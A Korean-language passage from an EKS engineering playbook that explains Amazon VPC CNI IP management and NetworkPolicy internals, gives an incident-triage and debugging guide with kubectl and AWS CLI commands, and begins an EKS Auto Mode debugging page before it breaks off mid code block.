`WARM_ENI_TARGET=1`(기본값)은 여유가 커 보이지만 의도된 설계입니다. ENI attach에는 최대 10초가 걸리므로, Pod 급증 시 ENI를 새로 붙이는 경로에 들어가면 그 노드의 Pod 기동이 일괄 지연됩니다. 반대로 `WARM_IP_TARGET`을 너무 작게 잡으면 Pod 생성·삭제(churn)마다 개별 IP를 EC2 API로 attach/detach하게 되어 API 호출이 급증하고, 스로틀링이 발생하면 해당 노드가 아니라 클러스터 전체의 ENI/IP 할당이 막힙니다. 공개 문서(`eni-and-ip-target.md`)가 대규모 클러스터·high churn 환경에서 `WARM_IP_TARGET` 사용을 자제하라고 명시하는 이유입니다.
`MINIMUM_IP_TARGET`은 `WARM_IP_TARGET`과 함께 쓰는 것이 안전합니다. `MINIMUM_IP_TARGET`만 설정하면 `WARM_IP_TARGET`이 0으로 간주되어, 하한을 채운 뒤 여유분이 전혀 확보되지 않는 상태가 될 수 있습니다.
### Prefix Delegation: /28 단위 할당
`ENABLE_PREFIX_DELEGATION=true`(v1.9.0+)를 설정하면 ipamd는 개별 보조 IP 대신 **/28 프리픽스(연속 IP 16개)** 단위로 ENI에 주소를 할당합니다(IPv6는 /80). 도입 효과는 두 가지입니다.
- **Pod 밀도 향상** — ENI당 슬롯 하나가 IP 1개가 아니라 16개로 확장됩니다. 예: c5.xlarge는 기본 모드 58 Pod → Prefix 모드에서 노드 최대치(110 Pod)까지 수용
- **EC2 API 호출 감소** — IP 16개를 API 호출 1번으로 확보하므로 스케일링 시 API 부하가 크게 줄어듦
전제 조건이 있습니다. /28은 연속된 16개 주소이므로 서브넷 단편화(fragmentation)가 심하면 프리픽스 확보에 실패할 수 있고, 이때 개별 IP 모드로 폴백하지 않고 에러가 됩니다. 신규 전용 서브넷 또는 CIDR 예약(subnet CIDR reservation)과 함께 사용하는 것이 안전합니다. Prefix 모드에서는 warm 타깃 계산도 프리픽스 단위로 바뀌며 `WARM_PREFIX_TARGET`(기본 `1`)이 추가로 관여합니다.
### IP 쿨다운: 삭제된 Pod의 IP는 30초간 재사용 금지
Pod가 삭제되면 그 IP는 즉시 할당 가능 상태로 돌아가지 않고 **쿨다운 상태**를 거칩니다. 기본 쿨다운은 30초이며 `IP_COOLDOWN_PERIOD`(v1.15.0+)로 조정합니다.
쿨다운이 필요한 이유는 Kubernetes의 비동기성입니다. Pod 삭제 후에도 kube-proxy가 각 노드의 iptables/IPVS 규칙에서 해당 IP를 제거하기까지 시간이 걸립니다. 쿨다운 없이 IP를 새 Pod에 즉시 재할당하면, 아직 갱신되지 않은 규칙을 통해 이전 Service의 트래픽이 새 Pod로 유입될 수 있습니다. 값을 0으로 설정하는 것은 지원되지만 공식 문서가 강하게 비권장하며, 반대로 지나치게 크게 잡으면 가용 IP가 쿨다운에 묶여 EC2 API 호출이 늘어납니다. Pod churn이 큰 워크로드에서는 초당 Pod 삭제율 × 쿨다운 기간만큼의 IP가 상시 쿨다운 상태에 있다는 점을 warm pool 사이징에 반영해야 합니다.
### 풀 축소: 살아있는 Pod IP는 절대 회수하지 않음
ipamd는 30초 주기로 초과분 IP/ENI 반납을 시도하지만, 이 축소 경로는 **비강제(non-force) 삭제**만 수행합니다. 데이터스토어에서 IP를 제거할 때 해당 IP가 Pod에 할당되어 있으면 삭제가 거부됩니다(`ipamd.go`의 `tryUnassignIPFromENI` — "Don't force the delete, since a freeable IP might have been assigned to a pod"). 강제 삭제는 EC2 API로 해당 보조 IP가 이미 인스턴스에서 detach되었음을 재확인한 reconcile 경로에서만 발생합니다.
따라서 warm 타깃을 줄이거나 노드 축소가 일어나도 실행 중인 Pod의 연결이 IPAM 때문에 끊기는 일은 없습니다. 반납 대상은 언제나 미할당 여유분입니다.
## Deep Dive: NetworkPolicy — 컨트롤러와 eBPF 에이전트의 분업
VPC CNI v1.14.0+는 Kubernetes NetworkPolicy를 네이티브로 지원하며, 적용 구조는 두 계층으로 분리됩니다.
```mermaid
flowchart TB
NP["NetworkPolicy
(사용자 정의)"] --> NPC["Network Policy Controller
(EKS 컨트롤 플레인, AWS 관리)"]
NPC -->|"정책 해석 결과 발행"| PE["PolicyEndpoints CRD"]
PE --> NPA["aws-network-policy-agent
(노드 DaemonSet)"]
NPA -->|"eBPF 프로그램 attach"| VETH["Pod host veth 인터페이스"]
```
- **Network Policy Controller** — EKS 컨트롤 플레인에서 AWS가 관리 운영합니다. NetworkPolicy의 셀렉터를 실제 Pod IP 집합으로 해석(resolve)해 그 결과를 `PolicyEndpoints` CRD로 발행합니다.
- **aws-network-policy-agent** — 각 노드의 DaemonSet으로, `PolicyEndpoints`를 watch하여 정책을 **Pod의 host veth에 attach한 eBPF 프로브**로 적용합니다. iptables 체인을 만들지 않으므로 정책 수가 늘어도 규칙 순회 비용이 선형 증가하지 않습니다.
운영 관점의 함의는 다음과 같습니다.
- 정책 적용 상태의 1차 확인 대상은 NetworkPolicy 오브젝트가 아니라 **`PolicyEndpoints` CRD** — 컨트롤러의 해석 결과가 여기까지 왔는지가 분기점
- 커널 레벨 DENY는 노드 에이전트가 제공하는 CLI(`aws-eks-na-cli`)와 정책 이벤트 로그로 관측
- 적용 범위 제약: Pod의 `eth0`만 대상이며 host networking Pod, Windows 노드, Fargate에는 적용되지 않음
## 운영 고려사항
### 관측 지점
| 지점 | 내용 |
|---|---|
| `/var/log/aws-routed-eni/ipamd.log` | ipamd의 ENI/IP 할당·반납 결정 로그 |
| `curl http://localhost:61679/v1/enis`, `/v1/pods` | ipamd introspection — 현재 데이터스토어의 ENI·IP·Pod 매핑 스냅샷 |
| `curl http://localhost:61678/metrics` | Prometheus 메트릭 (introspection과 포트가 다름에 주의) |
warm pool 관련 이상 징후(Pod가 `ContainerCreating`에서 IP 대기, `ipamd` 로그의 EC2 스로틀링 에러)의 구체적 진단 절차는 [EKS 네트워킹 디버깅](../operations-reliability/eks-debugging/networking.md)을 참조합니다.
### 서브넷 IP 소진과 우회 구조
VPC CNI는 Pod IP를 VPC 서브넷에서 직접 소비하므로 서브넷 사이징이 곧 클러스터 용량 계획입니다. 소진 대응 순서는 일반적으로 다음과 같습니다.
1. **Prefix Delegation 활성화** — 서브넷 소비 자체는 같지만 ENI 슬롯 효율과 API 부하가 개선
2. **커스텀 네트워킹** — `AWS_VPC_K8S_CNI_CUSTOM_NETWORK_CFG=true` + `ENIConfig` CRD(`crd.k8s.amazonaws.com/v1alpha1`)로 Pod를 노드와 다른 서브넷(보통 세컨더리 CIDR 100.64.0.0/10 대역)에 배치. 단, primary ENI를 Pod에 쓰지 못하게 되어 노드당 최대 Pod 수가 감소
3. **IPv6 클러스터** — 신규 구축이라면 소진 문제가 구조적으로 사라지는 선택지
### Security Groups for Pods (SGP)
`ENABLE_POD_ENI=true`를 설정하면 VPC Resource Controller(컨트롤 플레인 측)가 노드에 **trunk ENI**(`aws-k8s-trunk-eni`)를 붙이고, `SecurityGroupPolicy` CRD로 SG를 지정한 Pod마다 **branch ENI**(`aws-k8s-branch-eni`)를 만들어 trunk에 연결합니다. 이 경우 해당 Pod의 IPAM·데이터패스는 위에서 설명한 보조 IP 경로가 아니라 branch ENI 경로를 타며, branch ENI 용량은 보조 IP 한도와 별개로 추가됩니다. Nitro 인스턴스 중 trunking 지원 타입에서만 동작합니다.
## 결론
VPC CNI는 오버레이 없이 VPC 네이티브 IP를 Pod에 직접 부여하는 L3 routed mode CNI입니다. 데이터패스는 더미 게이트웨이(169.254.1.1)와 정적 ARP, 방향별 이중 라우팅 테이블로 구성되며 L2 브리지가 존재하지 않습니다. IPAM은 ipamd가 warm 타깃 절대치(`WARM_ENI_TARGET`/`WARM_IP_TARGET`/`MINIMUM_IP_TARGET`) 기반으로 풀을 유지하고, 30초 IP 쿨다운과 비강제 축소로 실행 중인 Pod를 보호합니다. NetworkPolicy는 컨트롤 플레인의 컨트롤러가 `PolicyEndpoints` CRD로 정책을 해석하고 노드의 eBPF 에이전트가 host veth에서 적용하는 2계층 구조입니다.
## 참고 자료
### 공식 문서
- [CNI Proposal](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/cni-proposal.md) — CNI 바이너리·ipamd 구조와 데이터패스 원안 설계 문서
- [ENI and IP Target](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/eni-and-ip-target.md) — warm pool 3변수 조합별 동작과 EC2 API 스로틀링 경고
- [Prefix and IP Target](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/prefix-and-ip-target.md) — Prefix Delegation 모드의 warm 타깃 계산
- [Network Policy FAQ](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/network-policy-faq.md) — NetworkPolicy 컨트롤러/노드 에이전트 구조
- [Troubleshooting Guide](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/troubleshooting.md) — ipamd.log·introspection endpoint 기반 디버깅
- [EKS Best Practices: Networking](https://docs.aws.amazon.com/eks/latest/best-practices/networking.html) — 서브넷 사이징, 커스텀 네트워킹, SGP 권고
- [EKS Best Practices: Security Groups for Pods](https://docs.aws.amazon.com/eks/latest/best-practices/sgpp.html) — trunk/branch ENI 구조와 지원 인스턴스
### 코드 (aws/amazon-vpc-cni-k8s)
- [routed-eni-cni-plugin/driver](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/cmd/routed-eni-cni-plugin/driver/driver.go) — veth pair 생성과 169.254.1.1 더미 게이트웨이 설정
- [pkg/ipamd/ipamd.go](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/pkg/ipamd/ipamd.go) — warm pool 유지 루프와 비강제 축소 경로
- [aws-network-policy-agent](https://github.com/aws/aws-network-policy-agent) — eBPF 기반 NetworkPolicy 노드 에이전트
### 관련 문서 (내부)
- [EKS 네트워킹 디버깅](../operations-reliability/eks-debugging/networking.md) — VPC CNI·DNS·Service 트러블슈팅 절차
- [Network Flow Monitor 동작 원리](../operations-reliability/network-flow-monitor.md) — eBPF sock_ops 기반 TCP flow 관측
- [Nitro 아키텍처 & 튜닝](./nitro-architecture-performance-tuning.md) — ENA 드라이버·PPS/CPS 성능 튜닝
- [East-West 트래픽 최적화](./east-west-traffic-best-practice.md) — 서비스 간 통신 최적화 전략
---
# 운영 & 안정성
> EKS 클러스터의 안정적인 운영을 위한 GitOps, 장애 진단, 고가용성, Pod 라이프사이클 관리 베스트 프랙티스
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, operations, reliability, gitops, debugging, ha, pod-lifecycle
import { DocCard, DocCardGrid } from '@site/src/components/DocCards';
EKS 클러스터의 안정적인 운영을 위한 실전 가이드입니다. GitOps 기반 운영 자동화부터 장애 진단, 고가용성 아키텍처, Pod 라이프사이클 관리까지를 다룹니다.
---
---
# EKS 디버깅 가이드
> Amazon EKS 환경에서 애플리케이션 및 인프라 문제를 체계적으로 진단하고 해결하기 위한 종합 트러블슈팅 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, kubernetes, debugging, troubleshooting, observability, incident-response
import { IncidentEscalationTable, ZonalShiftImpactTable, ControlPlaneLogTable, ClusterHealthTable, NodeGroupErrorTable, ErrorQuickRefTable } from '@site/src/components/EksDebugTables';
> **📌 기준 환경**: EKS 1.33+, kubectl 1.30+, AWS CLI v2
## 1. 개요
EKS 운영 중 발생하는 문제는 컨트롤 플레인, 노드, 네트워크, 워크로드, 스토리지, 옵저버빌리티 등 다양한 레이어에 걸쳐 나타납니다. 본 문서는 SRE, DevOps 엔지니어, 플랫폼 팀이 이러한 문제를 **체계적으로 진단하고 신속하게 해결**하기 위한 종합 디버깅 가이드입니다.
모든 명령어와 예제는 즉시 실행 가능하도록 작성되었으며, Decision Tree와 플로우차트를 통해 빠른 판단을 돕습니다.
### EKS 디버깅 레이어
```mermaid
flowchart TB
subgraph "EKS 디버깅 레이어"
CP["`**컨트롤 플레인**
API Server, etcd
인증/인가, Add-on`"]
NODE["`**노드**
kubelet, containerd
리소스 압박, Karpenter`"]
NET["`**네트워크**
VPC CNI, DNS
Service, NetworkPolicy`"]
WL["`**워크로드**
Pod 상태, Probe
Deployment, HPA`"]
STOR["`**스토리지**
EBS CSI, EFS CSI
PV/PVC`"]
OBS["`**옵저버빌리티**
메트릭, 로그
알림, 대시보드`"]
end
CP --> NODE
NODE --> NET
NET --> WL
WL --> STOR
STOR --> OBS
style CP fill:#4286f4,stroke:#2a6acf,color:#fff
style NODE fill:#ff9900,stroke:#cc7a00,color:#fff
style NET fill:#fbbc04,stroke:#c99603,color:#000
style WL fill:#ff4444,stroke:#cc3636,color:#fff
style STOR fill:#4286f4,stroke:#2a6acf,color:#fff
style OBS fill:#34a853,stroke:#2a8642,color:#fff
```
### 디버깅 접근 방법론
EKS 문제 진단에는 두 가지 접근 방식이 있습니다.
| 접근 방식 | 설명 | 적합한 상황 |
|-----------|------|------------|
| **Top-down (증상 → 원인)** | 사용자가 보고한 증상에서 시작하여 원인을 추적 | 서비스 장애, 성능 저하 등 즉각적인 문제 대응 |
| **Bottom-up (인프라 → 앱)** | 인프라 레이어부터 순차적으로 점검 | 예방적 점검, 클러스터 마이그레이션 후 검증 |
:::tip 일반적인 권장 순서
프로덕션 인시던트에서는 **Top-down** 접근을 권장합니다. 먼저 증상을 파악하고 (Section 2 인시던트 트리아지), 해당 레이어의 디버깅 섹션으로 이동하세요.
:::
---
## 2. 인시던트 트리아지 (빠른 장애 판단)
### First 5 Minutes 체크리스트
인시던트 발생 시 가장 중요한 것은 **스코프 판별**과 **초동 대응**입니다.
#### 30초: 초기 진단
```bash
# 클러스터 상태 확인
aws eks describe-cluster --name --query 'cluster.status' --output text
# 노드 상태 확인
kubectl get nodes
# 비정상 Pod 확인
kubectl get pods --all-namespaces | grep -v Running | grep -v Completed
```
#### 2분: 스코프 판별
```bash
# 최근 이벤트 확인 (전체 네임스페이스)
kubectl get events --all-namespaces --sort-by='.lastTimestamp' | tail -20
# 특정 네임스페이스 Pod 상태 집계
kubectl get pods -n --no-headers | awk '{print $3}' | sort | uniq -c | sort -rn
# 노드별 비정상 Pod 분포 확인
kubectl get pods --all-namespaces -o wide --field-selector=status.phase!=Running | \
awk 'NR>1 {print $8}' | sort | uniq -c | sort -rn
```
#### 5분: 초동 대응
```bash
# 문제 Pod의 상세 정보
kubectl describe pod -n
# 이전 컨테이너 로그 (CrashLoopBackOff인 경우)
kubectl logs -n --previous
# 리소스 사용량 확인
kubectl top nodes
kubectl top pods -n --sort-by=cpu
```
### 스코프 판별 Decision Tree
```mermaid
flowchart TD
ALERT["`**Alert / 장애 인지**`"] --> SINGLE{"`단일 Pod 문제?`"}
SINGLE -->|Yes| POD_DEBUG["`**워크로드 디버깅**
→ 워크로드 문서`"]
SINGLE -->|No| SAME_NODE{"`같은 Node의
Pod들인가?`"}
SAME_NODE -->|Yes| NODE_DEBUG["`**노드 레벨 디버깅**
→ 노드 문서`"]
SAME_NODE -->|No| SAME_AZ{"`같은 AZ의
Node들인가?`"}
SAME_AZ -->|Yes| AZ_DEBUG["`**AZ 장애 감지**
ARC Zonal Shift 검토`"]
SAME_AZ -->|No| ALL_NS{"`전체 Namespace
영향?`"}
ALL_NS -->|Yes| CP_DEBUG["`**컨트롤 플레인 디버깅**
→ 컨트롤 플레인 문서`"]
ALL_NS -->|No| NET_DEBUG["`**네트워킹 디버깅**
→ 네트워킹 문서`"]
style ALERT fill:#ff4444,stroke:#cc3636,color:#fff
style POD_DEBUG fill:#4286f4,stroke:#2a6acf,color:#fff
style NODE_DEBUG fill:#ff9900,stroke:#cc7a00,color:#fff
style AZ_DEBUG fill:#ff4444,stroke:#cc3636,color:#fff
style CP_DEBUG fill:#4286f4,stroke:#2a6acf,color:#fff
style NET_DEBUG fill:#fbbc04,stroke:#c99603,color:#000
```
### AZ 장애 감지
:::warning AWS Health API 요구사항
`aws health describe-events` API는 **AWS Business 또는 Enterprise Support** 플랜에서만 사용 가능합니다. Support 플랜이 없는 경우 [AWS Health Dashboard 콘솔](https://health.aws.amazon.com/health/home)에서 직접 확인하거나, EventBridge 규칙으로 Health 이벤트를 캡처하세요.
:::
```bash
# AWS Health API로 EKS/EC2 관련 이벤트 확인 (Business/Enterprise Support 플랜 필요)
aws health describe-events \
--filter '{"services":["EKS","EC2"],"eventStatusCodes":["open"]}' \
--region us-east-1
# 대안: Support 플랜 없이 AZ 장애 감지 — EventBridge 규칙 생성
aws events put-rule \
--name "aws-health-eks-events" \
--event-pattern '{
"source": ["aws.health"],
"detail-type": ["AWS Health Event"],
"detail": {
"service": ["EKS", "EC2"],
"eventTypeCategory": ["issue"]
}
}'
# AZ별 비정상 Pod 집계 (노드에 스케줄링된 Pod만 대상)
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.status.phase != "Running" and .status.phase != "Succeeded") |
select(.spec.nodeName != null) |
.spec.nodeName
' | sort -u | while read node; do
zone=$(kubectl get node "$node" -o jsonpath='{.metadata.labels.topology\.kubernetes\.io/zone}' 2>/dev/null)
[ -n "$zone" ] && echo "$zone"
done | sort | uniq -c | sort -rn
# ARC Zonal Shift 상태 확인
aws arc-zonal-shift list-zonal-shifts \
--resource-identifier arn:aws:eks:region:account:cluster/name
```
#### ARC Zonal Shift를 사용한 AZ 장애 대응
```bash
# EKS에서 Zonal Shift 활성화
aws eks update-cluster-config \
--name \
--zonal-shift-config enabled=true
# 수동 Zonal Shift 시작 (장애 AZ로부터 트래픽 이동)
aws arc-zonal-shift start-zonal-shift \
--resource-identifier arn:aws:eks:region:account:cluster/name \
--away-from us-east-1a \
--expires-in 3h \
--comment "AZ impairment detected"
```
:::warning Zonal Shift 주의사항
Zonal Shift의 최대 지속 시간은 **3일**이며 연장 가능합니다. Shift를 시작하면 해당 AZ의 노드에서 실행 중인 Pod으로의 새로운 트래픽이 차단되므로, 다른 AZ에 충분한 용량이 있는지 먼저 확인하세요.
:::
:::danger Zonal Shift는 트래픽만 차단합니다
ARC Zonal Shift는 **Load Balancer / Service 레벨의 트래픽 라우팅만 변경**합니다.
Karpenter NodePool, ASG(Managed Node Group)의 AZ 설정은 자동으로 업데이트되지 않습니다. 따라서 완전한 AZ 대피를 위해서는 추가 작업이 필요합니다:
1. **Zonal Shift 시작** → 새 트래픽 차단 (자동)
2. **해당 AZ 노드 drain** → 기존 Pod 이동
3. **Karpenter NodePool 또는 ASG 서브넷에서 해당 AZ 제거** → 새 노드 프로비저닝 방지
```bash
# 1. 장애 AZ의 노드 식별 및 drain
for node in $(kubectl get nodes -l topology.kubernetes.io/zone=us-east-1a -o name); do
kubectl cordon $node
kubectl drain $node --ignore-daemonsets --delete-emptydir-data --grace-period=60
done
# 2. Karpenter NodePool에서 해당 AZ 일시 제외 (requirements 수정)
kubectl patch nodepool default --type=merge -p '{
"spec": {"template": {"spec": {"requirements": [
{"key": "topology.kubernetes.io/zone", "operator": "In", "values": ["us-east-1b", "us-east-1c"]}
]}}}
}'
# 3. Managed Node Group은 ASG 서브넷 변경이 필요 (콘솔 또는 IaC에서 수행)
```
Zonal Shift 해제 후에는 위 변경사항을 원복해야 합니다.
:::
### CloudWatch 이상 탐지
```bash
# Pod 재시작 횟수에 대한 Anomaly Detection 알람 설정
aws cloudwatch put-anomaly-detector \
--single-metric-anomaly-detector '{
"Namespace": "ContainerInsights",
"MetricName": "pod_number_of_container_restarts",
"Dimensions": [
{"Name": "ClusterName", "Value": ""},
{"Name": "Namespace", "Value": "production"}
],
"Stat": "Average"
}'
```
### 인시던트 대응 에스컬레이션 매트릭스
:::info 고가용성 아키텍처 가이드 참조
아키텍처 수준의 장애 회복 전략(TopologySpreadConstraints, PodDisruptionBudget, 멀티AZ 배포 등)은 [EKS 고가용성 아키텍처 가이드](../eks-resiliency-guide.md)를 참조하세요.
:::
---
## 10. 디버깅 Quick Reference
### 에러 패턴 → 원인 → 해결 빠른 참조 테이블
### 필수 kubectl 명령어 치트시트
#### 조회 및 진단
```bash
# 전체 리소스 상태 한눈에 보기
kubectl get all -n
# 비정상 Pod만 필터링
kubectl get pods --all-namespaces --field-selector=status.phase!=Running,status.phase!=Succeeded
# Pod 상세 정보 (이벤트 포함)
kubectl describe pod -n
# 네임스페이스 이벤트 (최신순)
kubectl get events -n --sort-by='.lastTimestamp'
# 리소스 사용량
kubectl top nodes
kubectl top pods -n --sort-by=memory
```
#### 로그 확인
```bash
# 현재 컨테이너 로그
kubectl logs -n
# 이전 (크래시된) 컨테이너 로그
kubectl logs -n --previous
# 멀티 컨테이너 Pod에서 특정 컨테이너
kubectl logs -n -c
# 실시간 로그 스트리밍
kubectl logs -f -n
# 라벨로 여러 Pod 로그 확인
kubectl logs -l app= -n --tail=50
```
#### 디버깅
```bash
# Ephemeral container로 디버깅
kubectl debug -it --image=nicolaka/netshoot --target=
# Node 디버깅
kubectl debug node/ -it --image=ubuntu
# Pod 내부에서 명령어 실행
kubectl exec -it -n --
```
#### 배포 관리
```bash
# 롤아웃 상태/히스토리/롤백
kubectl rollout status deployment/
kubectl rollout history deployment/
kubectl rollout undo deployment/
# Deployment 재시작
kubectl rollout restart deployment/
# 노드 유지보수 (drain)
kubectl cordon
kubectl drain --ignore-daemonsets --delete-emptydir-data
kubectl uncordon
```
### 추천 도구 매트릭스
| 시나리오 | 도구 | 설명 |
|---------|------|------|
| 네트워크 디버깅 | [netshoot](https://github.com/nicolaka/netshoot) | 네트워크 도구 모음 컨테이너 |
| 노드 리소스 시각화 | [eks-node-viewer](https://github.com/awslabs/eks-node-viewer) | 터미널 기반 노드 리소스 모니터링 |
| 컨테이너 런타임 디버깅 | [crictl](https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/) | containerd 디버깅 CLI |
| 로그 분석 | CloudWatch Logs Insights | AWS 네이티브 로그 쿼리 |
| 메트릭 쿼리 | Prometheus / Grafana | PromQL 기반 메트릭 분석 |
| 분산 트레이싱 | [ADOT](https://aws-otel.github.io/docs/introduction) / [OpenTelemetry](https://opentelemetry.io/docs/) | 요청 경로 추적 |
| 클러스터 보안 점검 | kube-bench | CIS Benchmark 기반 보안 스캔 |
| YAML 매니페스트 검증 | kubeval / kubeconform | 배포 전 매니페스트 검증 |
| Karpenter 디버깅 | Karpenter controller logs | 노드 프로비저닝 문제 진단 |
| IAM 디버깅 | AWS IAM Policy Simulator | IAM 권한 검증 |
### EKS Log Collector
EKS Log Collector는 AWS에서 제공하는 스크립트로, EKS 워커 노드에서 디버깅에 필요한 로그를 자동으로 수집하여 AWS Support에 전달할 수 있는 아카이브 파일을 생성합니다.
**설치 및 실행:**
```bash
# 스크립트 다운로드 및 실행 (SSM 접속 후 노드에서)
curl -O https://raw.githubusercontent.com/awslabs/amazon-eks-ami/master/log-collector-script/linux/eks-log-collector.sh
sudo bash eks-log-collector.sh
```
**수집 항목:**
- kubelet logs
- containerd logs
- iptables 규칙
- CNI config (VPC CNI 설정)
- cloud-init 로그
- dmesg (커널 메시지)
- systemd units 상태
**결과물:**
수집된 로그는 `/var/log/eks_i-xxxx_yyyy-mm-dd_HH-MM-SS.tar.gz` 형식으로 압축 저장됩니다.
**S3 업로드:**
```bash
# 수집된 로그를 S3에 직접 업로드
sudo bash eks-log-collector.sh --upload s3://my-bucket/
```
:::tip AWS Support 활용
AWS Support case를 제출할 때 이 로그 파일을 첨부하면 지원 엔지니어가 노드 상태를 빠르게 파악할 수 있어 문제 해결 시간이 크게 단축됩니다. 특히 노드 조인 실패, kubelet 장애, 네트워크 문제 등을 보고할 때 반드시 첨부하세요.
:::
---
## 상세 디버깅 가이드
아래 링크를 통해 각 레이어의 상세한 디버깅 가이드를 확인할 수 있습니다:
| 문서 | 설명 | 주요 내용 |
|------|------|----------|
| [컨트롤 플레인 디버깅](./control-plane.md) | EKS 컨트롤 플레인 문제 진단 | API Server 로그, 인증/인가, Add-on, IRSA, Pod Identity, RBAC |
| [노드 디버깅](./node.md) | 노드 레벨 문제 진단 | 노드 조인 실패, kubelet/containerd, 리소스 압박, Karpenter, Managed Node Group |
| [워크로드 디버깅](./workload.md) | Pod 및 워크로드 문제 진단 | Pod 상태별 디버깅, Deployment, HPA/VPA, Probe 설정 |
| [네트워킹 디버깅](./networking.md) | 네트워크 문제 진단 | VPC CNI, DNS, Service, NetworkPolicy, Ingress/LoadBalancer |
| [스토리지 디버깅](./storage.md) | 스토리지 문제 진단 | EBS CSI, EFS CSI, PV/PVC 상태, 볼륨 마운트 실패 |
| [옵저버빌리티](./observability.md) | 모니터링 및 로그 분석 | Container Insights, Prometheus, CloudWatch Logs Insights, ADOT |
### 관련 문서
- [EKS 고가용성 아키텍처 가이드](../eks-resiliency-guide.md) - 아키텍처 수준 장애 회복 전략
- [GitOps 기반 EKS 클러스터 운영](../gitops-cluster-operation.md) - GitOps 배포 및 운영 자동화
- [Karpenter를 활용한 초고속 오토스케일링](/docs/eks-best-practices/resource-cost/karpenter-autoscaling.md) - Karpenter 기반 노드 프로비저닝 최적화
- [노드 모니터링 에이전트](../node-monitoring-agent.md) - 노드 수준 모니터링
### 참고 자료
- [EKS 공식 트러블슈팅 가이드](https://docs.aws.amazon.com/eks/latest/userguide/troubleshooting.html)
- [EKS Best Practices - Auditing and Logging](https://docs.aws.amazon.com/eks/latest/best-practices/auditing-and-logging.html)
- [EKS Best Practices - Networking](https://docs.aws.amazon.com/eks/latest/best-practices/networking.html)
- [EKS Best Practices - Reliability](https://docs.aws.amazon.com/eks/latest/best-practices/reliability.html)
- [Kubernetes 공식 디버깅 가이드 - Pod](https://kubernetes.io/docs/tasks/debug/debug-application/debug-pods/)
- [Kubernetes 공식 디버깅 가이드 - Service](https://kubernetes.io/docs/tasks/debug/debug-application/debug-service/)
- [Kubernetes DNS 디버깅](https://kubernetes.io/docs/tasks/administer-cluster/dns-debugging-resolution/)
- [VPC CNI 트러블슈팅](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/troubleshooting.md)
- [EBS CSI Driver FAQ](https://github.com/kubernetes-sigs/aws-ebs-csi-driver/blob/master/docs/faq.md)
- [EKS Zonal Shift 문서](https://docs.aws.amazon.com/eks/latest/userguide/zone-shift.html)
---
# EKS Auto Mode 디버깅
> EKS Auto Mode 환경에서의 디버깅 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/auto-mode
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, auto-mode, nodepool, nodeclaim, vpc-cni
EKS Auto Mode는 노드 프로비저닝, 네트워킹, 스토리지를 AWS가 완전 관리하는 운영 모델입니다. 편리하지만, 관리 영역이 줄어든 만큼 디버깅 접근 방식도 달라집니다.
## Auto Mode vs Standard Mode 차이점
| 항목 | Standard Mode | Auto Mode | 디버깅 영향 |
|------|---------------|-----------|------------|
| **노드 관리** | 사용자 (MNG/Karpenter) | AWS 관리 (NodePool) | NodePool CRD로 상태 확인, EC2 API 제한적 |
| **VPC CNI** | 수동 설정/업그레이드 | 자동 관리 | Custom CNI 설정 불가, ENI 디버깅 간소화 |
| **GPU Driver** | GPU Operator 설치 | AWS 관리 | Device Plugin 충돌 주의 (`devicePlugin=false`) |
| **스토리지** | EBS CSI 별도 설치 | 내장 드라이버 (gp3) | io2 Block Express 제약, EFS는 별도 설치 |
| **CoreDNS** | Add-on 관리 | 자동 관리 | Custom CoreDNS 설정 제한 |
| **노드 SSH** | 가능 (MNG/Karpenter) | 제한적 (AWS Systems Manager) | `kubectl debug node` 사용 필수 |
| **Auto Scaling** | Karpenter/CA | NodePool auto-scaling | Spot 중단 처리 자동화 |
| **네트워크 정책** | Calico/Cilium 설치 가능 | VPC CNI Network Policy | 기능 제약 존재 |
## NodePool 아키텍처
Auto Mode의 노드 라이프사이클:
```mermaid
flowchart LR
A[Pod Unschedulable] --> B[NodePool Controller]
B --> C[NodeClaim 생성]
C --> D{인스턴스 타입
선택}
D --> E[EC2 인스턴스 시작]
E --> F[kubelet 등록]
F --> G[Node Ready]
G --> H[Pod 스케줄링]
H --> I{유휴 상태?}
I -->|Yes| J[Consolidation]
I -->|No| H
J --> K[NodeClaim 삭제]
K --> L[노드 종료]
G --> M{Drift 감지?}
M -->|Yes| N[새 NodeClaim]
N --> E
M -->|No| G
```
## NodePool 디버깅
### NodePool 상태 확인
```bash
# NodePool 목록
kubectl get nodepools
# 출력 예시
# NAME READY AGE
# default True 7d
# gpu-nodepool True 2d
# NodePool 상세 정보
kubectl describe nodepool default
# 주요 확인 항목:
# - Conditions: Ready, CapacityAvailable
# - Instance Types: 허용된 인스턴스 타입
# - Constraints: 레이블, 테인트, 가용 영역
```
### NodeClaim 라이프사이클
```bash
# NodeClaim 목록 (실제 노드 요청)
kubectl get nodeclaims
# 출력 예시
# NAME TYPE CAPACITY READY AGE
# default-abc123 t3.xlarge 4 True 2d
# default-def456 t3.xlarge 4 True 1d
# gpu-nodepool-xyz789 g5.2xlarge 8 True 6h
# NodeClaim 상세 정보
kubectl describe nodeclaim
# 주요 필드:
# - Phase: Pending/Launched/Registered/Ready/Terminating
# - Conditions: Initialized, Ready, Drifted
# - Instance ID: EC2 인스턴스 ID
# - Node Name: 대응되는 Kubernetes 노드
```
### NodeClaim 상태 전이
```mermaid
stateDiagram-v2
[*] --> Pending: NodePool 생성
Pending --> Launched: EC2 인스턴스 시작
Launched --> Registered: kubelet 등록
Registered --> Ready: Node Ready
Ready --> Drifted: AMI 업데이트 감지
Ready --> Terminating: Consolidation/스케일 다운
Drifted --> Terminating: 교체 시작
Terminating --> [*]
```
### 인스턴스 타입 선택 실패
**증상:** Pod가 Pending 상태로 멈춤, NodeClaim이 생성되지 않음
```bash
